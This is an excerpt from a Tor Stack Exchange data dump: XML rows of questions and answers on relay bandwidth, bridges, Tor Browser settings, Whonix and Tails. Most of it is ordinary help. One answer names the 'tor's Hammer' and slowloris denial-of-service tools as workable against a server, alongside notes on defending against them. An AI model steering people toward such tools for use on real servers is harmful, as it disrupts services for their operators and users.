  <row Id="4887" PostTypeId="1" CreationDate="2014-12-30T19:55:46.560" Score="2" ViewCount="695" Body="&lt;p&gt;I want to run a bunch of Tor relays, and so plan to buy 10 $5 VPS's from a company called Beastnode. I have had an amazing experience with this company for game servers and websites in the past, so I hope that it'll be fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specs of the VPS I plan to buy is as follows:&#xA;• 512MB of RAM&#xA;• 25GB of SSD space (though I doubt this matters?)&#xA;• 2000GB (2TB) of Bandwidth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand all this bandwidth/s thing on Tor relays, as that 2TB is how much I can use before having to pay bandwidth fees. Is 2TB enough bandwidth overall, and how can I limit how much my relay uses OVERALL (or individually, if you have any recommendations)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I would like my relays to be a fast relay.&lt;/p&gt;&#xA;" OwnerUserId="5409" LastEditorUserId="923" LastEditDate="2014-12-30T20:17:38.057" LastActivityDate="2014-12-30T21:00:17.163" Title="Are these specs (VPS) good enough to run a Tor relay?" Tags="|relays|bandwidth|guard-node|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4888" PostTypeId="2" ParentId="4887" CreationDate="2014-12-30T21:00:17.163" Score="2" Body="&lt;p&gt;Those specs don't include CPU speed, number of cores, network speed. 512MB of RAM may be a bit tight.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the following directives in your torrc to influence the bandwidth usage of your relay:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#RelayBandwidthRate&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;RelayBandwidthRate&lt;/code&gt;&lt;/a&gt; - Limits the average incoming bandwidth usage for &lt;em&gt;relayed traffic&lt;/em&gt; on this node to the specified number of bytes per second.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#RelayBandwidthBurst&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;RelayBandwidthBurst&lt;/code&gt;&lt;/a&gt; - Allow up to this much for short periods.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AccountingMax&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;AccountingMax&lt;/code&gt;&lt;/a&gt; - Never send more than the specified number of bytes in a given accounting period, or receive more than that number in the period.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AccountingStart&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;AccountingStart&lt;/code&gt;&lt;/a&gt; - Specify how long accounting periods last. If month is given, each accounting period runs from the time HH:MM on the dayth day of one month to the same day and time of the next.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your provider will count data in and out separately, so you can &lt;em&gt;relay&lt;/em&gt; 1 TB/month, which is &lt;strong&gt;364 KB/sec&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set this as your &lt;code&gt;RelayBandwidthRate&lt;/code&gt; then you will only get to your 1 TB if your relay is constantly saturated. This is unlikely.&lt;br&gt;&#xA;If you set your &lt;code&gt;RelayBandwidthRate&lt;/code&gt; too high, you will hit your &lt;code&gt;AccountingMax&lt;/code&gt; too soon and your relay will hibernate, which you would want to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would set&lt;br&gt;&#xA;&lt;code&gt;AccountingMax&lt;/code&gt; and &lt;code&gt;AccountingStart&lt;/code&gt; to 0.95 TB / month, so you never get to pay overage charges.&lt;br&gt;&#xA;&lt;code&gt;RelayBandwidthRate&lt;/code&gt; to about 150% or 200% of the calculated 364 KB, so that would be 600 KB/s or so. If you hit your &lt;code&gt;AccountingMax&lt;/code&gt;, turn it down a bit. If you don't hit it in your 3rd month, turn it up a bit.&lt;br&gt;&#xA;&lt;code&gt;RelayBandwidthBurst&lt;/code&gt; to 90% of your actual maximum speed.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-30T21:00:17.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4889" PostTypeId="2" ParentId="4884" CreationDate="2014-12-30T21:47:14.047" Score="1" Body="&lt;p&gt;Do you mean relays or clients with browsers? Your mention of users and screens and browsers suggests the latter. The question you link to is also about Tor Browser, not relays.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A ready-made Tor client + Browser that you could run in a VM is &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would question the usefulness of a ready-made relays because  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For relays it is not important to look similar to others.&lt;/li&gt;&#xA;&lt;li&gt;(Relays are publicly known as such anyway.)&lt;/li&gt;&#xA;&lt;li&gt;A relay takes some more config, which is most of the work anyway.&lt;/li&gt;&#xA;&lt;li&gt;Adding a bunch of relays in response to someone else doing this won't do much.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-30T21:47:14.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4890" PostTypeId="1" AcceptedAnswerId="4892" CreationDate="2014-12-31T06:24:19.163" Score="6" ViewCount="35808" Body="&lt;p&gt;What is the current user-agent string(s) of the Tor browser?&lt;br/&gt;&#xA;What user-agent strings has the Tor browser (and older Tor software) used in the past?&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2020-08-25T20:37:30.203" Title="Tor browser user-agent strings" Tags="|tor-browser-bundle|browsers|fingerprinting|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4891" PostTypeId="1" CreationDate="2014-12-31T09:33:16.857" Score="1" ViewCount="852" Body="&lt;p&gt;I am trying to set-up a Tor Bridge on Windows azure using Vidalia (Windows Server 2012 Datacenter Edition R2 in a VM) and while the Setup is no Problem and it connects to the Tor Network I don't manage to connect to it from the outside (timeout). I deactivated the Firewall of WS but still no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anybody set-up a Bridge on Azure already (don't find much on that)? Not sure if it is an Azure specific thing or if I have Windows Server block the incoming traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5414" LastActivityDate="2015-01-02T19:55:50.927" Title="Tor bridge on Azure Windows Server 2012" Tags="|windows|bridge|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4892" PostTypeId="2" ParentId="4890" CreationDate="2014-12-31T09:35:33.790" Score="4" Body="&lt;p&gt;Tor browser user-agent strings at this point in time Dec-31-2014 for the current version is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past Tor browser has used many different user-agent strings, depending on which version of Tor browser you are interested in, one can search for that particular user-agent string.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorDisplayName="user194" LastEditDate="2015-01-11T04:04:47.773" LastActivityDate="2015-01-11T04:04:47.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4893" PostTypeId="2" ParentId="4837" CreationDate="2014-12-31T16:58:12.430" Score="1" Body="&lt;p&gt;Using something like &lt;a href=&quot;http://security.radware.com/knowledge-center/DDoSPedia/tors-hammer/&quot; rel=&quot;nofollow&quot;&gt;tor's Hammer&lt;/a&gt; could may work, however what will work and what won't depends a lot on the target server, Nginx, for example, tends to be able to cope with level 7 attacks much better than Apache or IIS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, with Level 7 attacks (well the above attack anyway) it's not so much about bandwidth but about resources, Nginx (IIRC, it's been a while since I read the technical info) will drop connections that take a long time, and so go some way to preventing this. Also, depending on how the hidden service is structured, you could (I think, I've not idea how you would go about doing this) prevent/block POST requests, this would also prevent tor's Hammer/slowloris style attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on this type of attack see &lt;a href=&quot;http://ha.ckers.org/slowloris/&quot; rel=&quot;nofollow&quot;&gt;http://ha.ckers.org/slowloris/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user5416" LastEditorDisplayName="user5416" LastEditDate="2015-01-01T11:28:22.167" LastActivityDate="2015-01-01T11:28:22.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4896" PostTypeId="1" AcceptedAnswerId="4903" CreationDate="2015-01-01T14:36:13.023" Score="2" ViewCount="1138" Body="&lt;p&gt;When I'm running a virtual machine, say VirtualBox, if I wanted to use a proxy or service like tor or a VPN, if I only use that on my guest machine, would that be enough? No proxy, service, VPN, nothing on the host machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, host machine running Win7 connecting directly to the internet.&#xA;Guest machine running WinVista and using tor to browse internet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does not having anything on the host machine make a difference? I have noticed when using a VPN on a host machine to get a different IP, but nothing on the guest machine resulted in the guest machine also having the new IP, since I assume the internet is coming through from the host.&lt;/p&gt;&#xA;" OwnerUserId="5423" LastEditorUserId="5423" LastEditDate="2015-01-01T16:22:09.590" LastActivityDate="2015-01-02T15:52:16.990" Title="How should one use a Tor or a proxy service on a virtual machine?" Tags="|anonymity|virtual-machine|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4898" PostTypeId="1" CreationDate="2015-01-01T15:26:46.943" Score="2" ViewCount="52" Body="&lt;p&gt;Can someone please help me because I am having this same issue with Whonix.Tor connection error ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible issues:&#xA;1. Is the Internet on the host connection working&gt;&gt;YES&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;WHONIX-GATEWAY will need a few moments for bootstrapping the Tor Network&gt;&gt;Says Bootstrapping 0% Done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;3.Did you start gateway beforehand&gt;YES&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recommendations:&#xA;Try Again: Start menu &gt; Applications &gt; Systen &gt; Whonix Check &#xA;or in Termin: Whonixcheck&#xA;or in terminal with debugging: bash -x whonixcheck --verbose&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Run whonixcheck on gateway as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I TRIED ALL RECOMMENDATIONS AND NOTHING WORKED. PLEASE HELP ME&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="923" LastEditDate="2015-01-01T16:22:56.437" LastActivityDate="2015-01-01T16:22:56.437" Title="whonix/Tor connection error problem" Tags="|help|whonix|" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-02T03:03:35.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="4899" PostTypeId="1" CreationDate="2015-01-02T11:22:07.530" Score="1" ViewCount="1390" Body="&lt;p&gt;I can't find a way to disable JavaScript in Tor Browser Bundle version 4.&#xA;References on the net refer to previous versions.&#xA;Also can't find Noscript either.&lt;/p&gt;&#xA;" OwnerUserId="5432" LastEditorUserId="88" LastEditDate="2015-01-02T11:29:22.247" LastActivityDate="2015-12-07T09:32:00.600" Title="Disable javascript in Tor Browser Bundle 4.0.2" Tags="|tor-browser-bundle|javascript|noscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4900" PostTypeId="2" ParentId="4899" CreationDate="2015-01-02T11:33:15.743" Score="1" Body="&lt;p&gt;The current version of Tor Browser Bundle has the NoScript icon on the top left of the page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fk1rI.png&quot; alt=&quot;Screenshot with S!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just click on the &lt;code&gt;S&lt;/code&gt; and the menu of NoScript will open. Here you can disable JavaScript or make other changes.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-02T11:33:15.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4903" PostTypeId="2" ParentId="4896" CreationDate="2015-01-02T15:52:16.990" Score="0" Body="&lt;p&gt;Some of it depends on the network setting for your guest OS in VirtualBox.&lt;br&gt;&#xA;In NAT mode, your guest sits &lt;em&gt;behind&lt;/em&gt; your host. In bridged mode, your guest sits &lt;em&gt;next to&lt;/em&gt; your host. (Network wise.) It sounds like you use NAT, so the guest connects through the host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as the guest can see the internet, it can connect to a VPN server or to the Tor network. You don't need to run anything on the host for that. In your case, if you do have a VPN active on your host, the guest will connect &lt;em&gt;through&lt;/em&gt; that VPN &lt;em&gt;to&lt;/em&gt; its own VPN or to Tor.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-02T15:52:16.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4905" PostTypeId="2" ParentId="4725" CreationDate="2015-01-02T17:02:25.507" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I use the newest version of Tor on a Mac and the thing is when I download Tor, I do not end up with a &quot;tor folder.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you right-click on your Tor Browser (in your Applications folder) and then choose 'Show Package Contents' from the context menu, your &lt;code&gt;torrc&lt;/code&gt; sits in &lt;code&gt;/TorBrowser/Data/Tor/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-02T17:02:25.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4906" PostTypeId="2" ParentId="4667" CreationDate="2015-01-02T18:05:54.940" Score="1" Body="&lt;p&gt;Your Tor is probably under the impression that it has already created one. (Maybe it did and you deleted it?)&lt;br&gt;&#xA;Try the following:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edit your &lt;code&gt;torrc&lt;/code&gt; to set &lt;code&gt;CookieAuthentication&lt;/code&gt; to 0&lt;/li&gt;&#xA;&lt;li&gt;reset your Tor (kill -HUP or hit &lt;code&gt;x&lt;/code&gt; twice in Arm)&lt;/li&gt;&#xA;&lt;li&gt;Edit your &lt;code&gt;torrc&lt;/code&gt; again to set &lt;code&gt;CookieAuthentication&lt;/code&gt; back to 1&lt;/li&gt;&#xA;&lt;li&gt;reset your Tor again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should now have a new control cookie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have a &lt;code&gt;ControlListenAddress&lt;/code&gt; and/or &lt;code&gt;ControlPort&lt;/code&gt; set.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-02T18:05:54.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4907" PostTypeId="2" ParentId="4891" CreationDate="2015-01-02T19:55:50.927" Score="1" Body="&lt;p&gt;You have to setup an &quot;endpoint&quot; for that VM. No ports (except for remote management and RDP) from the public IP are open by default.&#xA;Just forward the necessary port (most likely 443 TCP) from your public IP to the same port on your private IP.&lt;/p&gt;&#xA;" OwnerUserId="5437" LastActivityDate="2015-01-02T19:55:50.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4908" PostTypeId="1" CreationDate="2015-01-02T20:16:16.513" Score="3" ViewCount="373" Body="&lt;p&gt;Consider a computer connected to the Tor network through the Tor Browser Bundle: my question is does the whole internet traffic go through the Tor network like windows update, kaspersky update, vlc update or if I'm watching a video on YouTube in Tor browser does only that video data traffic get encrypted?.&lt;/p&gt;&#xA;" OwnerUserId="5438" LastEditorUserId="923" LastEditDate="2015-01-03T01:38:33.317" LastActivityDate="2016-11-11T16:46:52.153" Title="Is all traffic routed through Tor when using TBB?" Tags="|tor-browser-bundle|encryption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4909" PostTypeId="2" ParentId="3420" CreationDate="2015-01-02T20:46:16.207" Score="1" Body="&lt;p&gt;You need to configure Firefox to use your SOCKS proxy also for hostname resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;network.proxy.socks_remote_dns&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;. (In about:config)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-02T20:46:16.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4910" PostTypeId="2" ParentId="4908" CreationDate="2015-01-02T20:56:13.713" Score="2" Body="&lt;p&gt;When running the Tor Browser, &lt;strong&gt;only the Tor Browser connects through the Tor network&lt;/strong&gt;. Other applications are not affected and will connect in the same way they always do. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-01-02T20:56:13.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4911" PostTypeId="2" ParentId="4908" CreationDate="2015-01-02T22:20:43.230" Score="1" Body="&lt;p&gt;Unless you are using special system like Whonix or Tails, then only the Tor Browser connects through Tor.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2015-01-02T22:20:43.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4912" PostTypeId="1" CreationDate="2015-01-03T00:09:08.890" Score="2" ViewCount="8689" Body="&lt;p&gt;I've just downloaded Tor browser package for Windows XP 64bit but when I try to make it work it gives me the above message. Can anyone tell me why it is doing this and what I can do to make it work?&lt;/p&gt;&#xA;" OwnerUserId="5440" LastActivityDate="2017-08-08T22:19:36.503" Title="The application was unable to start correctly (0xc0000022)" Tags="|tor-browser-bundle|windows|help|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4913" PostTypeId="1" CreationDate="2015-01-03T00:12:57.897" Score="9" ViewCount="429" Body="&lt;p&gt;The node in question is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/3D7E274A87D9A89AF064C13D1EE4CA1F184F2600&quot;&gt;https://atlas.torproject.org/#details/3D7E274A87D9A89AF064C13D1EE4CA1F184F2600&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node has been restarted recently in hope of that fixing it, alas to no avail. As you can see the node itself still has all the proper flags, stable, valid, exit, fast etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not changed anything in my torrc file. Any kind of input would be helpful. Also the servers bandwidth is dedicated.&lt;/p&gt;&#xA;" OwnerUserId="5439" LastEditorDisplayName="user5" LastEditDate="2015-01-03T14:27:14.387" LastActivityDate="2015-03-08T08:17:22.257" Title="My exit-node suddenly lost all of its consensus weight, I don't know where to start troubleshooting" Tags="|exit-relays|consensus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4914" PostTypeId="1" CreationDate="2015-01-03T00:30:24.980" Score="4" ViewCount="4536" Body="&lt;p&gt;I have Tor Browser installed with virtually default settings, nothing advanced tweaked at all like proxy, security or network settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tried to access &lt;code&gt;192.168.0.1&lt;/code&gt; from within my computer's Tor Browser and noticed it wouldn't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cflHS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access Google, at &lt;code&gt;http://74.125.224.72&lt;/code&gt;, but not my own LAN router's &lt;code&gt;http://192.168.0.1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? Would other typically local IP reservations like 10.1.1.1 similarly not work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also thinking of exclusively using Tor Browser for everything I do web-wise (and/or using &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;noreferrer&quot;&gt;Whonix&lt;/a&gt;), so am wondering how this would be practical when committed to Tor.&lt;/p&gt;&#xA;" OwnerDisplayName="user1006" LastEditorDisplayName="user1006" LastEditDate="2015-01-03T00:42:38.000" LastActivityDate="2016-04-05T08:55:38.973" Title="Access local router in Tor Browser?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4915" PostTypeId="2" ParentId="4914" CreationDate="2015-01-03T00:36:50.253" Score="3" Body="&lt;p&gt;Open the options menu of the browser, then click on advanced and then network, you will find the connection settings. If you open those settings you get the choice to not use a proxy for 192.168.0.1 (default is 127.0.0.1 only)&lt;/p&gt;&#xA;" OwnerUserId="5439" LastActivityDate="2015-01-03T00:36:50.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4918" PostTypeId="2" ParentId="1725" CreationDate="2015-01-03T11:32:05.847" Score="1" Body="&lt;p&gt;If you have multiple Web browsers on your computer, you can specify which Web browser you want to open when you access the Internet. To set the default Web browser in Windows XP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Start menu, access the Control Panel.  On the Control Panel window, switch to Classic View, if necessary, and choose &lt;strong&gt;Add or Remove Programs&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/seNzD.jpg&quot; alt=&quot;control panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;strong&gt;Add or Remove Programs&lt;/strong&gt; window, click on the Set Program Access and Defaults icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/miRLU.jpg&quot; alt=&quot;add_remove&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the &lt;strong&gt;Set Program Access and Defaults&lt;/strong&gt; window, expand the Custom section by clicking on the down arrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ELGyg.jpg&quot; alt=&quot;custom&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;Choose a default Web browser:&lt;/strong&gt; section, choose the Web browser you would like to be the default and click OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source : &lt;a href=&quot;http://its.uiowa.edu/support/article/178&quot; rel=&quot;nofollow noreferrer&quot;&gt;Set Your Default Web Browser in Windows XP - Article 178&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5445" LastEditorUserId="5445" LastEditDate="2015-01-21T15:58:49.833" LastActivityDate="2015-01-21T15:58:49.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4920" PostTypeId="2" ParentId="4727" CreationDate="2015-01-03T15:33:43.897" Score="2" Body="&lt;p&gt;I had the same problem until I changed the default bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your Tor browser's folder. Then go to &quot; Browser\TorBrowser\Data\Tor &quot; directory and open a file named &quot;torrc&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the following code to the end of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge ip.ad.dr.ess:port abcd1234hash&#xA;Bridge ip.ad.dr.ess:port abcd1234hash&#xA;Bridge ip.ad.dr.ess:port abcd1234hash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to undo the changes, just put a '#' before each line.&lt;/p&gt;&#xA;" OwnerUserId="5413" LastEditorUserId="71" LastEditDate="2015-07-11T23:07:46.103" LastActivityDate="2015-07-11T23:07:46.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4922" PostTypeId="2" ParentId="4880" CreationDate="2015-01-03T16:03:20.300" Score="1" Body="&lt;p&gt;There is one other way you can change entry node when you start Tor browser without changing any of the setup. What you may do is to start the Tor browser roughly about a minute before you connect to internet. What happens is Tor browser try to connect but because there is no internet connection it can not connect. Tor browser then assume that guard is down and pick a new guard. Thus you have a new guard and completely new circuit now.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-03T16:03:20.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4923" PostTypeId="1" CreationDate="2015-01-03T17:38:57.827" Score="3" ViewCount="20097" Body="&lt;p&gt;I'm trying to access a chat site.&#xA;Once I enter the room, it works properly but after a certain period of time passed, I got error 403 forbidden. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this?&#xA;I think that it is because my IP keeps changing.&lt;/p&gt;&#xA;" OwnerUserId="5447" LastEditorUserId="923" LastEditDate="2015-01-04T07:43:47.383" LastActivityDate="2015-01-06T00:58:57.140" Title="Tor and Error 403 forbidden" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4925" PostTypeId="1" CreationDate="2015-01-03T18:13:19.403" Score="2" ViewCount="722" Body="&lt;p&gt;My goal is to host a hidden service using Tor and Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My computer is running debian with Whonix on virtual box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, what is the best practices? Should I allow whonix to hide my Tor usage from the ISP or continue using Tor as when I was not running a hidden service? (Thus, ISP was able to observe that I am connected to Tor network).  &lt;/p&gt;&#xA;" OwnerUserId="5450" LastEditorUserId="923" LastEditDate="2015-01-04T06:58:35.953" LastActivityDate="2016-08-11T09:55:43.237" Title="Hidden Service : To hide from isp or not to?" Tags="|tor-browser-bundle|onion-services|whonix|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4927" PostTypeId="2" ParentId="4925" CreationDate="2015-01-03T23:43:43.593" Score="1" Body="&lt;p&gt;In running a hidden service, the major deanonymization risk is poor OPSEC. There's also the attack described in &lt;a href=&quot;http://freehaven.net/anonbib/cache/oakland2013-trawling.pdf&quot; rel=&quot;nofollow&quot;&gt;Biryukov et al. (2013)&lt;/a&gt;. But there, getting your identity from your ISP is the last step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, you may not want to advertise using Tor. I don't.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2015-01-03T23:43:43.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4928" PostTypeId="1" CreationDate="2015-01-04T05:14:16.390" Score="2" ViewCount="1663" Body="&lt;p&gt;I'm using Tor with multiple SocksPorts. Does anyone know how I can programmatically change the exit for each SocksPort separately? The code below changes the exit nodes for all the SocksPorts -- I want to be able to do it individually. Is there a way to assign a separate control port to each SocksPort or tell the control port to change the exit node for a specific SocksPort?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo -e 'AUTHENTICATE &quot;password&quot;\r\nsignal NEWNYM\r\nQUIT' | nc 127.0.0.1 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm on Linux. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5455" LastEditorUserId="923" LastEditDate="2015-01-07T01:05:54.053" LastActivityDate="2017-12-25T04:52:42.463" Title="How to change Tor exit node when using multiple SocksPorts?" Tags="|exit-relays|linux|socks|protocol|stream-isolation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4929" PostTypeId="1" CreationDate="2015-01-04T09:23:04.883" Score="1" ViewCount="217" Body="&lt;p&gt;When I access a download site such as &lt;em&gt;depositfiles&lt;/em&gt;, I have to enable scripts for the download to take place. The scripts are: Re-CAPTCHA and a time counter for about a minute, the download is only available after the countdown is finished. Do these scripts enable the site to see my IP address? I checked the download link, and it shows the Tor server's IP address, not mine.&lt;/p&gt;&#xA;" OwnerUserId="5456" LastEditorUserId="923" LastEditDate="2015-01-04T14:19:03.747" LastActivityDate="2015-02-03T16:28:35.420" Title="CAPTCHA and time counter scripts" Tags="|noscript|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4930" PostTypeId="1" CreationDate="2015-01-04T12:17:10.750" Score="4" ViewCount="21786" Body="&lt;p&gt;New user to Tails but when it starts up it says it cannot sync network time, so Tor doesn't start. How do I manually get it sorted via terminal or am I doing something wrong? Have tried MAC spoofing on and off. Internet is working, so at a loss? I'm on the latest Tails bundle.&lt;/p&gt;&#xA;" OwnerUserId="5457" LastEditorUserId="923" LastEditDate="2015-01-04T14:15:37.323" LastActivityDate="2016-10-02T09:15:55.283" Title="Tails Tor not starting" Tags="|configuration|tails|help|network-configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
